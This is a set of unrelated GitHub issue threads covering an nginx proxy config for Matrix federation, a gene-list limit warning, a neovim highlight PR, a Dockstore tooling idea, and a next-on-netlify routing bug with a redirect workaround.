add_header Access-Control-Allow-Origin *;
listen 8448 ssl http2;
access_log  off;
error_log off;

Everything is standard with this in the "Advanced". You have to create the proxy host and have it issue the certificate then add the advanced part in to satisfy the listen parameters
add_header Access-Control-Allow-Origin *;
listen 8448 ssl http2;
access_log  off;
error_log off;

adding ssl http2 makes the page not work!

I do this by just adding listen 8448 ssl http2; to the custom configuration area. This example is for a synapse matrix server on their federation port.

You saved me from giving up trying to setup matrix federation! Thanks so much!
@chaptergy Shouldn't this be closed now?

@chaptergy Shouldn't this be closed now?

Sure, I can go ahead and close it.

I feel like in this case reviewing your homeserver.yaml in synapse might be the issue. Confirm that you enabled the appropriate federation end points for port 8008. I think be default they are only on for 8448

@Cerothen Just wanted to give thanks for your config. It was the answer to my problem of needing to be able to listen on two different SSL ports. I could not find any complete documentation for the advanced tab anywhere.


Warning on gene limit

Include a very clear, concise message where users can paste lists of genes that they should limit themselves to less than 50 genes. Maybe text like "Please limit the number of genes to less than 50"

I was thinking that the warning would be always present. E.g. you open the modal and there is always text recommending less than 50 genes should be entered.

Updated to 'Enter gene names (<50 recommended)'. Also wanted to document here that it's a little counterintuitive to suggest <50 gene names when the provided lists are between 59-77 genes, but after discussing with @AlistairNWard we decided to keep the warning at 50, and the hard limit at 200.


add priority argument to vim.highlight.range()

https://github.com/neovim/neovim/pull/16963 adds a priority argument to vim.highlight functions. This makes hl_grey not work on syntax highlighted regions.
This PR should not break users of older neovim because the other added arguments were the default ones

Thanks for letting me know about this. How would this work with the "snipe" highlight though? Currently it still maintains foreground highlighting:

I can test this PR in a few hours, or can you confirm you have also tested it on your end?

Currently snipe maintains fg highlighting

Is that wrong?

I have tested this PR on my end

Currently snipe maintains fg highlighting

Is that wrong?

Not at all; my apologies. I also misread the helpdocs for setreg. Thanks for the PR.


Take a look at DRIP for Cromwell and Nextflow

Feature Request
Desired behaviour
Take a look at  DRIP, investigate to see if this helps us https://github.com/ninjudd/drip
┆Issue is synchronized with this Jira Story
┆Issue Type: Story
┆Fix Versions: Dockstore 2.X
┆Issue Number: DOCK-260

closed in favor of AWS lambda approach


Page chunk for catch-all page at root level is evaluated/rendered on the server

Hello,
First of all thanks for the great work with next-on-netlify, highly appreciated!

What is wrong?
If have a custom app which makes use of SSR via getInitialProps.
pages/_app.jsx:
import React from 'react';
import App from 'next/app';

const MyApp = ({ Component, pageProps, ...customProps }) => {
    return <Component {...pageProps} {...customProps} />;
};

// having a custom app with getInitialProps forces all pages to be rendered on the server
MyApp.getInitialProps = async (ctx) => {
    const appProps = App.getInitialProps(ctx);
    return {
        ...appProps,
        somePropFrom_app: "Hello from the _app"
    };
};

export default MyApp;

Also I have a catch-all page which is used as the index page and as a fallback if there is no matching page for the current route (obviously).
pages/[[...any]].jsx:
import React, { useEffect, useState } from 'react';

export default ({ somePropFrom_app }) => {
    const [ someState, setSomeState ] = useState('waiting for client side code execution...');

    useEffect(() => {
        setSomeState('client side code was executed properly!')
    });

    return (

{somePropFrom_app}

{someState}

    )
}

When I access the catch-all page it is being rendered on the server correctly, but the client side rendering fails. It seems the server sends the rendered HTML instead of the JS source code when the frontend fetches the static JS chunk for this page.

When I look at the network tab, I can see that the browser tried to fetch the JS chunk, but received fully rendered HTML instead:

As far as I could test it, this seems not to happen for catch-all pages within subdirectories. For example
pages/foo/[[...any]].jsx works as expected.
How to reproduce?
I have set up a minimal repository which reproduces the issue: https://github.com/Yegair/next-on-netlify-minimal.
You can also have a look at the running example here: https://condescending-allen-4992da.netlify.app/
Are there related issues?
This issue may be related to https://github.com/netlify/next-on-netlify/issues/41 (at least the workaround is the same).
Is there a Workaround?
As I said above, the Workaround from https://github.com/netlify/next-on-netlify/issues/41 seems to resolve the issue.
Just add a "No-Op redirect" for the /_next/* route:
_redirects:
/_next/* /_next/:splat 200

Hi @Yegair,
Thank you for your kind words and for this detailed issue report! I think you are absolutely right — it's probably related to issue #41.
@lindsaylevine is already in touch with the team that manages the Netlify redirects/rewrites feature, to see if they can dig into the issue. We will keep you and everyone else posted here!
For now, it's best to use the "no-op redirect" you mentioned.
Stay tuned and thanks again for the report & repo to reproduce the issue! :fire:

@FinnWoelm i'm curious: why wouldn't you add that /_next/* /_next/:splat 200 rule to the redirects file in the build process of next-on-netlify?
it seems to always be a good idea right?

Hi @mraerino, thanks for checking this out! Really appreciate your help!
All redirects generated by next-on-netlify are non-force redirects, so they should not shadow existing files. This always works correctly, except in the case where the asset has a square bracket in its filename. Then the URL gets shadowed even though a local file exists!
In fact, the URL only gets shadowed/rewritten when the square brackets are URI encoded: https://example.com/%5B%5B...any%5D%5D.js. On the other hand, the request for https://example.com/[[...any]].js works totally fine. So that led us to suspect that perhaps the netlify.app logic for checking if a local file exists may not correctly decode URIs.
Adding to that suspicion is the fact that this issue only occurs when a catch-all redirect is present, such as: /* /myfile.html 200. Without that redirect, the URL with encoded square brackets yields the correct file. With that redirect, the same URL with encoded square brackets incorrectly gets rewritten to myfile.html.
Please correct me if I'm wrong, but doesn't the fact, that a redirect with /_next/* /_next/:splat 200 solves this issue, further add to the suggestion that there is an issue with decoding the URI? The redirect should not be necessary thanks to Netlify's shadowing rules (unless, of course, we had some forced redirects in our _redirects file, but there aren't any).
We wanted to raise this issue (rather than locally fix it with /_next/* /_next/:splat 200), in case there is actually an issue with the shadowing logic. Because if so, it might affect others using SPA with catch-all redirects (.e.g., a React app with /* /index.html 200) and local files with square brackets in their names (admittedly, it's not super common to have these in your file names).
Does that make sense? Am I mistaken in my understanding of how things should work? Happy to chat more at any time, if it would be helpful!

In fact, the URL only gets shadowed/rewritten when the square brackets are URI encoded: https://example.com/%5B%5B...any%5D%5D.js. On the other hand, the request for https://example.com/[[...any]].js works totally fine. So that led us to suspect that perhaps the netlify.app logic for checking if a local file exists may not correctly decode URIs.

thank you for pointing out that detail. seems to be something we'd want to fix in the future. i'll make sure to open an internal issue.
would there be a way to publish that file without special characters for now?

Hey @mraerino, that's awesome to hear!! :raised_hands: :blush:
We can't publish it without special characters (it's created that way by the framework and there are a lot of internal references to those files with square brackets), but I think we will do the /_next/*  /_next/:splat 200 thing as you have suggested!
Thank you again for looking into this :)

Hi @FinnWoelm,
I'm facing this issue when I have something like pages/index.js & pages/[...rest].js.
The temporary /_next/* /_next/:splat 200 fix does not get applied in this case as it is not considered root level catch-all route.
The redirects generated are
/:rest/*  /.netlify/functions/next_rest  200

@afzalsayed96 looking into this, thanks for reporting!

#77 re-addresses this :)